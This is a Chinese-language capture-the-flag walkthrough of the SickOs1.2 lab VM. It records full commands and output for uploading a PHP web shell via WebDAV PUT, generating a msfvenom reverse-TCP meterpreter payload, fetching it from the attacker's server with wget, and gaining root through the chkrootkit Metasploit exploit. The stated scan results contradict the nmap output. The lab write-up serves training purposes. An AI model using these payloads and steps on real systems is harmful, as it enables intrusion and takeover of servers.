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实验环境如下：
基本思路：
Directory brute-force (网站目录扫描 dirb)
Find HTTP Options: PUT (查找HTTP选项 curl)
Reverse connection (Metasploit)
Privilege Escalation (cron job)
Import python one-liner for proper TTY shell
Get Root access and capture the flag.
1）Network Scanning (网络扫描 Netdiscover, Nmap)
root@host06:~# nmap -sV -T4 -A 192.168.32.169 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 CST Nmap scan report for 192.168.32.169 Host is up (0.00085s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) | http-robots.txt: 5 disallowed entries |_/ange1 /angel1 /nothing /tmp /uploads |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Dina MAC Address: 00:0C:29:29:82:CE (VMware) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.5 Network distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.85 ms 192.168.32.169 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds
从上面扫描可以看出，主机只开放了如下服务与端口：
SSH (22/tcp) - OpenSSH 5.9p1 Debian
HTTP (80/tcp) - Lighttpd 1.4.28
2) 使用dirb 扫描网站目录
root@host06:~# dirb http://192.168.32.169 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Jun 21 19:25:51 2019 URL_BASE: http://192.168.32.169/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.169/ ---- + http://192.168.32.169/index.PHP (CODE:200|SIZE:163) ==> DIRECTORY: http://192.168.32.169/test/ ---- Entering directory: http://192.168.32.169/test/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Fri Jun 21 19:26:01 2019 DOWNLOADED: 4612 - FOUND: 1
使用niko 扫描时发现"The X-Content-Type-Options header is not set"，
root@host06:~# nikto -h http://192.168.32.169 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.32.169 + Target Hostname: 192.168.32.169 + Target Port: 80 + Start Time: 2019-06-21 19:34:28 (GMT8) --------------------------------------------------------------------------- + Server: lighttpd/1.4.28 + The anti-clickjacking x-frame-options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This Could allow the user agent to render the content of the site in a different fashion to the MIME type + All CGI directories 'found', use '-C none' to test none + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21 + 26545 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2019-06-21 19:37:21 (GMT8) (173 seconds)
再次使用curl -v -X OPTIONS http://192.168.32.169/test测试，确认可以"put"等方法来进行注入
root@host06:~# curl -v -X OPTIONS http://192.168.32.169/test * Expire in 0 ms for 6 (transfer 0x5588c3fe4d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x5588c3fe4d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > OPTIONS /test HTTP/1.1 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > < HTTP/1.1 301 Moved Permanently < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, copY, PROPPATCH, LOCK, UNLOCK < Location: http://192.168.32.169/test/ < Content-Length: 0 < Date: Fri, 21 Jun 2019 15:16:48 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.169 left intact
使用curl的put方法上传一个文件 curl -v -X PUT -d 'I am a boy' http://192.168.32.169/test/test.txt
root@host06:~# curl -v -X PUT -d 'I am a boy' http://192.168.32.169/test/test.txt * Expire in 0 ms for 6 (transfer 0x560c4ca07d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x560c4ca07d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > PUT /test/test.txt HTTP/1.1 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > Content-Length: 10 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 10 out of 10 bytes < HTTP/1.1 201 Created < Content-Length: 0 < Date: Fri, 21 Jun 2019 15:22:00 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.169 left intact
使用相同的方法可以上传一个PHP调用shell命令的函数 curl -X PUT -d '<?PHP system($_GET["cmd"]);' http://192.168.32.169/test/cmd.PHP 如下测试
root@host06:~# curl -X PUT -d '<?PHP system($_GET["cmd"]);' http://192.168.32.169/test/cmd.PHP root@host06:~# curl "http://192.168.32.169/test/cmd.PHP?cmd=id;" uid=33(www-data) gid=33(www-data) groups=33(www-data) root@host06:~# curl "http://192.168.32.169/test/cmd.PHP?cmd=ls%20-lha" total 16K drwxr-xr-x 2 www-data www-data 4.0K Jun 21 08:28 . drwxr-xr-x 3 root root 4.0K Apr 25 2016 .. -rw-r--r-- 1 www-data www-data 27 Jun 21 08:28 cmd.PHP -rw-r--r-- 1 www-data www-data 10 Jun 21 08:22 test.txt
msfvenom -p PHP/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.PHP (备注：这里端口使用443目的是绕过防火墙)
root@host06:~# msfvenom -p PHP/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.PHP [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: PHP from the payload No encoder or badchars specified, outputting raw payload Payload size: 1113 bytes
起动一个python的临时web测试服务器，提供给客户端下载内容。python -m SimpleHTTPServer 443 (备注：此使用443端口绕过防火墙)
并且执行: curl "http://192.168.32.169/test/cmd.PHP?cmd=wget%20http://192.168.32.10:443/put01.PHP" 以下载put01.PHP文件
root@host06:~# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 192.168.32.169 - - [21/Jun/2019 20:09:25] "GET /put01.PHP HTTP/1.1" 200 -
root@host06:~# curl --upload-file put02.PHP -v --url http://192.168.32.169/test/put02.PHP -0 --http1.0 * Expire in 0 ms for 6 (transfer 0x55e395728d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x55e395728d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > PUT /test/put02.PHP HTTP/1.0 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > Content-Length: 111 > * We are completely uploaded and fine * HTTP 1.0, assume close after body < HTTP/1.0 201 Created < Content-Length: 0 < Connection: close < Date: Sat, 22 Jun 2019 00:12:16 GMT < Server: lighttpd/1.4.28 < * Closing connection 0
启动msfconsole 并设定如下相关参数，然后执行curl "http://192.168.32.169/test/put01.PHP"(即查执行刚上传的shell)
root@host06:~# msfconsole _---------. .' ####### ;." .---,. ;@ @@`; .---,.. ." @@@@@'.,'@@ @@@@@',.'@@@@ ". '-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' "--'.@@@ -.@ @ ,'- .'--" ".@' ; @ @ `. ;' |@@@@ @@@ @ . ' @@@ @@ @@ , `.@@@@ @@ . ',@@ @ ; _____________ ( 3 C ) /|___ / Metasploit! \ ;@'. __*__,." \|--- \_____________/ '(.,...."/ =[ Metasploit v5.0.28-dev ] + -- --=[ 1897 exploits - 1068 auxiliary - 329 post ] + -- --=[ 547 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload PHP/meterpreter/reverse_tcp payload => PHP/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.32.10 lhost => 192.168.32.10 msf5 exploit(multi/handler) > set lport 443 lport => 443 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.32.10:443 [*] Sending stage (38247 bytes) to 192.168.32.169 [*] Meterpreter session 1 opened (192.168.32.10:443 -> 192.168.32.169:49617) at 2019-06-21 20:16:00 +0800 meterpreter > shell Process 28313 created. Channel 0 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data) cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # chkrootkit -V chkrootkit version 0.49 ^Z Background channel 0? [y/N] y meterpreter > Background session 1? [y/N] y [-] UnkNown command: y.
返回msfconsole控制台，检查chkroot的漏洞，并利用此漏洞进行***测试
msf5 exploit(multi/handler) > search chkroot Matching Modules ================ # Name disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/local/chkrootkit 2014-06-04 manual Yes Chkrootkit Local Privilege Escalation msf5 exploit(multi/handler) > use exploit/unix/local/chkrootkit msf5 exploit(unix/local/chkrootkit) > show options Module options (exploit/unix/local/chkrootkit): Name Current Setting required Description ---- --------------- -------- ----------- CHKROOTKIT /usr/sbin/chkrootkit yes Path to chkrootkit SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(unix/local/chkrootkit) > set session 1 session => 1 msf5 exploit(unix/local/chkrootkit) > set lport 8080 lport => 8080
重新进行***测试
msf5 exploit(unix/local/chkrootkit) > run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP double handler on 192.168.32.10:8080 msf5 exploit(unix/local/chkrootkit) > [!] Rooting depends on the crontab (this Could take a while) [*] Payload written to /tmp/update [*] Waiting for chkrootkit to run via cron... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo tnDOwZeHQZJPT8fE; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "tnDOwZeHQZJPT8fE\r\n" [*] Matching... [*] B is input... [*] Command shell session 2 opened (192.168.32.10:8080 -> 192.168.32.169:33664) at 2019-06-21 19:01:31 +0800 [+] Deleted /tmp/update msf5 exploit(unix/local/chkrootkit) > sessions -l Active sessions =============== Id Name Type information Connection -- ---- ---- ----------- ---------- 1 meterpreter PHP/linux www-data (33) @ ubuntu 192.168.32.10:443 -> 192.168.32.169:49613 (192.168.32.169) 2 shell cmd/unix 192.168.32.10:8080 -> 192.168.32.169:33664 (192.168.32.169) msf5 exploit(unix/local/chkrootkit) > sessions -i 2 [*] Starting interaction with 2... whoami root id uid=0(root) gid=0(root) groups=0(root) python -c 'import pty;pty.spawn("/bin/bash")' root@ubuntu:~# cd /root cd /root root@ubuntu:~# ls ls 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.49 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt newRule root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually. Thanks for giving this try. @vulnhub: Thanks for hosting this UP!.
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